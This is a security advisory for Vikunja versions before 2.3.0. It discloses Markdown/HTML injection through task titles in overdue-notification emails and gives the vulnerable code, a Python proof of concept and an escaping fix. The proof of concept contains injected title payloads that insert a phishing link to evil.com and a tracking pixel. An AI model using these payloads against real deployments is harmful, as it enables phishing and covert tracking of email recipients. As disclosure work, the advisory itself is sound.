GHSA-45q4-x4r9-8fqj Vikunja has HTML Injection via Task Titles in Overdue Email Notifications

• Go code.vikunja.io/api: < 2.3.0 → fixed in 2.3.0

Summary Task titles are embedded directly into Markdown link syntax in overdue email notifications without escaping Markdown special characters. When rendered by goldmark and sanitized by bluemonday (which allows `` and `` tags), injected Markdown constructs produce phishing links and tracking pixels in legitimate notification emails. Details The overdue task notification at `pkg/models/notifications.go:360` constructs a Markdown list entry: ```go overdueLine += `* ` + task.Title + ` + "tasks/" + strconv.FormatInt(task.ID, 10) + `) ...` ``` The task title is placed inside Markdown link syntax `TITLE`. A title containing `]` and `[` breaks the link structure. The assembled Markdown is converted to HTML by goldmark at `pkg/notifications/mail_render.go:214`, then sanitized by bluemonday's UGCPolicy. Since UGCPolicy intentionally allows `` and `` with http/https URLs, the injected links and images survive sanitization and reach the email recipient. The same pattern affects multiple notification types at `notifications.go` lines 72, 176, 227, and 318. Proof of Concept Tested on Vikunja v2.2.2 with SMTP enabled (MailHog as sink). ```python import requests TARGET = "http://localhost:3456" API = f"{TARGET}/api/v1" token = requests.post(f"{API}/login", json={"username": "alice", "password": "Alice1234!"}).json()["token"] h = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"} proj = requests.put(f"{API}/projects", headers=h, json={"title": "Shared"}).json() create task with markdown injection in title + past due date requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h, json={ "title": 'test](https://evil.com) [Click to verify your account', "due_date": "2026-03-26T00:00:00Z"}) create task with tracking pixel injection requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h, json={ "title": '', "due_date": "2026-03-26T00:00:00Z"}) enable overdue reminders for the user requests.post(f"{API}/user/settings/general", headers=h, json={ "email_reminders_enabled": True, "overdue_tasks_reminders_enabled": True, "overdue_tasks_reminders_time": "09:00"}) wait for the overdue notification cron to fire, then inspect the email ``` The overdue notification email HTML contains: ```html test Click to verify your account (Shared), since one day (Shared), since one day ``` The attacker's `evil.com` link appears as a clickable link in a legitimate Vikunja notification email. The tracking pixel loads when the email is opened. Impact An attacker with write access to a shared project can craft task titles that inject phishing links or tracking images into overdue email notifications sent to other project members. Because these links appear within legitimate Vikunja notification emails from the configured SMTP server, recipients are more likely to trust and click them. Recommended Fix Escape Markdown special characters in task titles before embedding them in Markdown content: ```go func escapeMarkdown(s string) string { replacer := strings.NewReplacer( "[", "\\[", "]", "\\]", "(", "\\(", ")", "\\)", "!", "\\!", "`", "\\`", "*", "\\*", "_", "\\_", "#", "\\#", ) return replacer.Replace(s) } ``` --- *Found and reported by aisafe.io*